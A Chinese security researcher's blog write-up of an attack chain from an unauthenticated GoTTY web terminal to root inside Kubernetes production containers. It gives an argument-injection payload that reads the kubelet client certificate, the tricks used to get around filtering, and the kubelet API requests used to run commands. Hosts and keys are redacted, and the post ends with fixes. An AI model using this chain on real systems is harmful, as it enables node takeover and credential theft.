从一张公开的终端到节点 uid=0
原创
ntr安全
ntr安全
ntr安全
2026年10月30日 15:29
北京
去阅读
偶尔把研究过程写出来。这条链没有内存破坏,也不靠内核洞。一张没鉴权的网页终端,读到 kubelet 认的节点客户端证书,再到容器里跑出 uid=0(root)。域名、地址、接口路径一律写成 xxx,图也做了同样处理。
简单来说:某站某台 CDN 节点上的 GoTTY 把 tail -f 的参数交给了 WebSocket 客户端。多喂一个文件路径,就能把宿主上的节点客户端证书读出来;拿这张证去做双向 TLS,就能在生产容器里执行命令。
攻击探索之旅:从一张公开的终端开始
当时看到一张网页终端,命令写死了:
xxx tail -f xxx
也就是说,这台机器把日志甩到了公网,浏览器打开就能看。GoTTY 开了 --permit-arguments,握手之后允许客户端再塞参数。
发送包
GET xxx HTTP/1.1
Host: xxx
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: xxx
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: webtty
返回包
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: xxx
Sec-WebSocket-Protocol: webtty
升完级,第一条 JSON 就是 Arguments。AuthToken 是空的。
被遗忘的角落:GoTTY 的 Arguments 参数
一开始没重视这个字段,以为只能改 tail 的行数。后来确认它是直接拼到命令后面的。
发送包
{\"Arguments\": \"?arg=-n&arg=100&arg=/var/lib/kubelet/pki/kubelet-client-current.pem\", \"AuthToken\": \"\"}
实际跑的命令
tail -f xxx -n 100 /var/lib/kubelet/pki/kubelet-client-current.pem
关键发现其实就一个:Arguments 不是改行数的开关,是往命令后面拼 argv。两个坑差点让我以为读不出来。
第一,query 里的加号会被当成空格。行数写成 +1,到服务器变成空格加 1,tail 只吐最后一行。要用 %2B。
第二,从文件头开始读的那种写法,在 GoTTY 转发里会把第二个文件吞掉。GNU tail 本地是正常的,GoTTY 这边只输出原来的日志,证书文件是 0 字节。改成纯数字 -n 100,第二个文件才完整出来。这是读到完整证书的关键绕过。
还有两个小点:一条 WebSocket 连接只吃一帧 Arguments;回包是 webtty 帧,type 3 是标题,type 1 是正文分片,得自己拼。
返回包
webtty 帧[0] type=3
3tail@xxx
webtty 帧[1+] type=1
1 + base64 分片,共 27 帧,9388 字节
解码拼接:
==> xxx <==
(原日志,略)
==> /var/lib/kubelet/pki/kubelet-client-current.pem <==
-----BEGIN CERTIFICATE-----
xxx
-----END CERTIFICATE-----
-----BEGIN EC PRIVATE KEY-----
xxx
-----END EC PRIVATE KEY-----
图1 · 公开终端读出节点客户端证书
意外的突破:读到了节点客户端证书
读出来的是证书加私钥,配对能对上。私钥不往公众号里贴,只写结论:
subject:O=system:nodes, CN=xxx
issuer:O=Kubernetes
有效期:十年
私钥:EC P-256
同一条口还能读到 kubelet 自己的配置。有证书之后,下一步不是去扫别的路径,是拿这张证去认节点上的 kubelet HTTPS。
攻防博弈:kubelet 的四道坑
这个口之前探过,匿名过不了客户端证书认证,TLS 是通的。坑在认证方式和 HTTP 细节。
匿名发送包
GET xxx HTTP/1.1
Host: xxx
返回包
HTTP/1.1 401 Unauthorized
-
匿名请求过不了双向 TLS,必须带上刚读到的节点证。
-
不带 body 的 POST 也要写 Content-Length: 0,不然对面不收。
-
命令参数按空格拆 argv,不经 shell。复合命令要包一层。
-
有的入口只接受 POST,GET 会直接被拒。列容器和在容器里执行,走的不是同一类请求。
过了这四道,列出生产容器是 200。对象名略。都开了 hostNetwork。
发送包
GET xxx HTTP/1.1
Host: xxx
返回包
HTTP/1.1 200 OK
Content-Type: application/json
{\"kind\":\"PodList\",\"apiVersion\":\"v1\",\"items\":[{\"metadata\":{\"name\":\"xxx\",\"namespace\":\"xxx\"},\"spec\":{\"hostNetwork\":true}},{\"metadata\":{\"name\":\"xxx\",\"namespace\":\"xxx\"},\"spec\":{\"hostNetwork\":true}},{\"metadata\":{\"name\":\"xxx\",\"namespace\":\"xxx\"},\"spec\":{\"hostNetwork\":true}},{\"metadata\":{\"name\":\"xxx\",\"namespace\":\"xxx\"},\"spec\":{\"hostNetwork\":true}}]}
同一类执行入口用 GET 会直接被拒。
发送包
GET xxx HTTP/1.1
Host: xxx
返回包
HTTP/1.1 405 Method Not Allowed
图2 · 节点身份列出生产容器
从列出容器到 uid=0
选其中一个生产容器执行 id。
发送包
POST xxx HTTP/1.1
Host: xxx
Content-Length: 0
Connection: close
返回包
HTTP/1.1 200 OK
uid=0(root) gid=0(root) groups=0(root)
再打一发 hostname,回包也是 xxx,和证书主题对得上。容器开了 hostNetwork,能看到宿主上的监听。能力集要说清楚:缺 SYS\_ADMIN、NET\_ADMIN、MKNOD,cgroup 和 mount 这条我没打穿,也不写进这篇文章的结论。容器里 root 加上 hostNetwork,已经够说明节点被拿住了。
图3 · 容器内回到 uid=0(root)
深度思考总结
这条链的关键不是又一个没鉴权的端口,而是 Arguments 把文件读和 kubelet 身份绑在了一起。GoTTY 本意是看日志,--permit-arguments 把 tail 变成了任意文件读取;kubelet 客户端证书又刚好躺在默认路径。读文件的人拿到的不是一段配置,是节点身份。
修复方向很具体:公网不要挂 GoTTY;要挂就关掉 --permit-arguments,Arguments 直接丢弃。kubelet 不要对公网暴露,节点证书按短周期轮换。已经读走过的证书作废重签。
第一次打穿之后隔了几天再复验,同一台还在。厂商回信里写过另一台机器,和实测这台不是同一个节点。这个问题留给资产对账,不影响这条利用链本身。
过程里真正值得留下来的是那几个坑:加号被当成空格、从文件头读会吞第二个文件、POST 必须带 Content-Length: 0、命令是 argv 不是 shell。后面再碰到 GoTTY 和 kubelet,从这四个地方开始会快很多。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论